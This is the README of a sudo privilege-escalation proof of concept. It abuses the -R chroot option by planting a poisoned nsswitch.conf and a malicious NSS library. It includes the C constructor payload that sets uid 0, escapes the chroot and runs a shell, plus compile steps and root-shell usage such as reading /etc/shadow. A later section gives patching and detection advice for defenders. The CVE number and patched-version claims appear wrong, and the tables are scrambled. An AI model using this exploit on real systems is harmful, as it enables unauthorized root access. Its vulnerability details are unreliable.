
Proof-of-concept exploit for CVE-2023-42456, demonstrating privilege escalation via sudo NSS library hijacking through chroot injection. Includes automated version detection, payload generation, and chroot escape for authorized security testing.
Author: 0xb0rn3 | 0xbv1
Type: Proof of Concept (PoC) Security Research Tool
CVE: CVE-2023-42456
Technique: sudo -R chroot NSS library injection → privilege escalation to root
This tool is developed for authorized penetration testing and educational security research only. Run it exclusively on systems you own or have explicit written permission to test. The author(s) bear no responsibility for any misuse. Unauthorized use is illegal.
Xpl0it is a proof-of-concept that exploits a trust model flaw in how sudo handles dynamic NSS (Name Service Switch) library loading when using the -R (chroot) flag. On vulnerable sudo versions, an attacker who controls the chroot directory can poison nsswitch.conf inside it to force sudo to load a malicious shared library while it still holds elevated privileges — before any credential drop occurs.
On a successful run the tool drops you into a root shell or executes any command you specify with uid=0 gid=0.
This tool exclusively targets CVE-2023-42456. The vulnerability exists across two release branches, each with a separate fix commit:
Important: sudo 1.9.17 and later are not vulnerable. Earlier tools and writeups incorrectly listed the range as "1.9.14–1.9.17". This tool performs per-branch version detection to avoid false positives.
The following CVEs are not exploitable via this technique and are intentionally excluded to prevent false positives:
| CVE | Technique | Why excluded |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Heap-based buffer overflow | Completely different attack vector |
| CVE-2021-23239 | sudoedit race condition | Different technique |
| CVE-2021-23240 |
sudo -R requires an explicit ChrootDir= directive in the target user's sudoers entry. NOPASSWD alone does not grant -R permission.
Without ChrootDir, sudo rejects the -R flag entirely:
sudo: you are not permitted to use the -R option with bridge
A sudoers entry that permits this exploit must look like one of:
# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it parses sudo -l for ChrootDir before doing any staging work and aborts early with a clear explanation if the permission is missing.
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
Step 1 — Reconnaissance
Collects OS, kernel version, architecture, current user context, and all valid library search paths. Detects AppArmor/SELinux enforcement and NoNewPrivs status — all of which can silently block the exploit if active.
Step 2 — Version Fingerprint
Parses sudo --version and checks the two-branch affected range for CVE-2023-42456 with patch-level precision. Aborts with explanation if the version is patched or out of range.
Step 3 — ChrootDir Permission Check
Parses sudo -l for ChrootDir= directives. If absent, aborts immediately. If restricted to a specific path, automatically targets that path for staging so sudo will accept the -R call.
Step 4 — Pre-Exploitation Probe
Builds a throwaway minimal chroot and fires a harmless sudo -R call before doing any real staging work. Confirms sudo will reach NSS resolution and catches "not permitted" rejections early.
Step 5 — Payload Generation
Writes bridge90.c — a C shared library with a __attribute__((constructor)) function (_nss_bridge90_init) that fires the moment the dynamic linker loads it:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Step 6 — Environment Setup
Builds a convincing chroot inside the staging directory:
bridge/etc/nsswitch.conf — poisoned to load bridge90 NSS servicebridge/<lib_path>/libnss_bridge90.so.2 — the payload, deployed to all detected lib paths (multilib coverage)bridge/bin/bridge — stub executable sudo must find to proceed past pre-exec checksbridge/bin/sh, bridge/bin/bash — shells with correct ELF interpreter (detected via readelf -l)bridge/etc/ld.so.conf — covers all lib paths so ldconfig -r builds a valid cacheStep 7 — Compilation
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — no default startup code; constructor handles everything-Wl,-soname — correct SONAME for NSS name resolution-Wl,-init — __attribute__((constructor)) is sufficient; adding -Wl,-init causes a double-call and is a bugAfter compilation, nm -D verifies the constructor symbol is present in the dynamic export table.
Step 8 — Execution
Fires sudo -R bridge bridge from the staging directory. NSS resolves bridge90 → loads our library → constructor fires with elevated privileges → chroot escape executes → root shell.
Sudo's -R implementation trusts the contents of the chroot directory it enters. Before this was fixed, sudo did not validate whether the chroot environment had been tampered with. Since the user providing the chroot path controls its contents — including nsswitch.conf and the NSS libraries it references — they can redirect library loading to arbitrary code that executes before sudo performs any privilege drops.
Patch sudo
Update to 1.9.15p2, 1.9.16p2, or any 1.9.17+ release. These versions validate chroot environments before allowing NSS resolution inside them.
# Check your version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Audit ChrootDir directives
Review /etc/sudoers and all files in /etc/sudoers.d/. Remove ChrootDir= entries unless explicitly required. Restrict wildcards — prefer ChrootDir=/specific/path over ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Audit log signatures
# auditd — detect sudo -R invocations (rare in legitimate use)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Suspicious indicators
sudo -R calls in logs — legitimate production use is extremely rare/tmp with names matching sudobridge.*libnss_*.so.2 files in /tmp or user-writable directoriesgcc invocations from non-build-system user sessionssetreuid/setregid syscalls from processes not owned by root# Make executable
chmod +x Xpl0it
# Drop into root shell (default)
./Xpl0it
# Run a specific command as root
./Xpl0it -c "id && cat /etc/shadow"
# Debug mode — verbose output, staging directory preserved on exit
./Xpl0it -d
# Prompt before continuing on version mismatch
./Xpl0it -v
# Combine flags
./Xpl0it -v -d -c "/bin/bash"
The target user's sudoers entry must also include ChrootDir= — the tool checks this automatically and fails fast with an explanation if it's missing.
If the exploit fails, run with -d to preserve the staging directory and inspect:
Common failure reasons:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2) man pageContributions that improve accuracy, portability, or detection coverage are welcome. Please keep any additions aligned with responsible disclosure principles and authorized testing use cases.
Xpl0it is for authorized security research only. Always obtain explicit written permission before testing on systems you do not own.
| Branch | Vulnerable | Fixed in |
|---|
| 1.9.14.x | all (1.9.14 – 1.9.14p2) | N/A (entire branch affected) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | not affected | fix merged upstream before branch |
| SELinux role symlink bypass |
| Different technique |
| Layer | Action |
|---|
| Patch | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Remove ChrootDir=*; use specific paths only |
| MAC | AppArmor/SELinux profiles blocking untrusted dlopen() |
| Filesystem | Mount /tmp and user dirs with noexec,nosuid |
| IMDSv2 | On cloud instances, require token-based metadata access |
| Monitoring | auditd alerts on sudo -R invocations |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS prevents setreuid() from working |
| Flag | Description |
|---|
-c, --command <cmd> | Command to execute after escalation (default: /bin/bash) |
-d, --debug | Verbose debug output; preserves staging directory on exit |
-v, --verbose | Prompt before continuing if version is outside affected range |
-h, --help | Show usage |
--version | Print version |
| Dependency | Required | Purpose |
|---|
gcc | Yes | Compile NSS shared library on target |
sudo | Yes | Target binary |
ldconfig | Yes | Build ld.so.cache inside chroot |
readelf | Yes | Detect ELF interpreter path |
grep, awk, sed, find | Yes | Standard utils |
strace, ltrace, gdb | Optional | Enhanced debugging |
nm | Optional | Constructor symbol verification |
| Check | Path | What to look for |
|---|
| Compile log | $STAGE/logs/compile.log | gcc errors |
| ldconfig log | $STAGE/logs/ldconfig.log | cache build errors |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Library | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | must exist |
| Sudoers | sudo -l | must show ChrootDir= |
| Error | Cause |
|---|
not permitted to use the -R option | ChrootDir= missing from sudoers |
| Exit code 1, no NSS error | sudo version is patched |
| Library not loading silently | AppArmor/SELinux blocking dlopen() |
setreuid ignored | NoNewPrivs=1 on the process |
| Library not found | ldconfig -r failed and symlink fallback insufficient |